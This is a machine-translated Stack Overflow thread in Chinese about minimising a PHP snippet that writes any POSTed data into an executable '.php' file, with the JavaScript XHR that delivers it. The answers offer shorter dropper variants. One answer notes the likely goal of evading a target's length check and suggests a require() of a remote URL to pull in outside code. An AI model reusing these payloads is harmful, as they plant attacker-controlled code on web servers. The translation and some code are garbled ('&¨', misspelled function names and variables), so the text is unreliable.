我正在尝试减少以下PHP代码,该代码使用从XHR调用收到的数据创建一个PHP文件,并停止继续使用的代码 运行
PHP:
if(isset($_POST[0])){file_put_contents('.php',$_POST[0]);die;}
或(@
因为通知)
@$_=$_POST[0];if(isset($_)){file_put_contents('.php',$_);die;}
JavaScript的:
var xhr = new XMLHttpRequest();
xhr.open('POST', location);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send('0=' + encodeURIComponent(`<?php unlink(__file__);?>`));
我试图:将if检查更改为if($_POST[0])
,Ternary Operator,Null coalescing operator和/或try{}catch(Exception $e){}
,删除if括号和/或卷曲大括号,搜索创建文件的替代方法,删除分号,尝试使用$_POST[]
和/或$_POST['']
等。
我已将exit
更改为die
,将文件名更改为emtpy,删除了空格和换行符,将$_POST
键设为数字,并设置了2º的替代值变量作为数据。
JavaScript部分不需要减少,如果它减少了PHP代码,它甚至可以更大。
注意:
是的我知道它的作用和外观。
不,我不打算用于任何这个,它只是编码编码,因为我编写自己的测试项目以尝试了解更多信息。
此外,如果不知何故这个目标不是对这个网站的问题那么我写的这个我没想到......
答案 0 :(得分:0)
据推测,您正试图绕过对目标的长度检查。缩小PHP并没有任何性能/存储优势。
您要么合法地测试防御措施,要么颠覆您不应该访问的系统。前者有点傻。后者绝对是偏离主题的。然而....
脱离我的头顶......
$x=$POST[0];($x&&file_put_contents('.php',$x));exit;
OTOH如果你试图利用XSLT,那么这只会处理一条指令,因此......
$_POST[0]&&file_put_content('.php',$_POST[0])||die()
但如果您的目标配置不当,那么......
require('http://abc.de/abcdef')
(其中网址来自缩短服务 - 当您尝试输入更实际的值时,SO会变得粗糙)
答案 1 :(得分:0)
使用fputs(fopen('.php','x'),$_POST[0]);
代替file_put_contents('.php',$_POST[0]);
可以保存字符,但不会覆盖。
如果文件已经存在,则fopen()调用将失败,返回FALSE并生成级别为E_WARNING的错误。
php.net - fopen - description of mode 'x'
因此,真正减少代码(仅限2个字符)的唯一方法是使用logical operator &&
(名为And但different than and
),方法如下:
isset($_POST[0])&&file_put_contents('.php',$_POST[0])&¨
如果&&
的左侧为真,则表示右侧。
因此,如果isset($_POST[0])
为false,则会转到下一行代码,如果它是真的,则会执行其余操作。
如果isset($_POST[0])&&file_put_contents('.php',$_POST[0])||die;
与||
相同,如果die
为真,它就不会运行file_put_contents('.php',$_POST[0])
,因为它只需要两个中的一个真。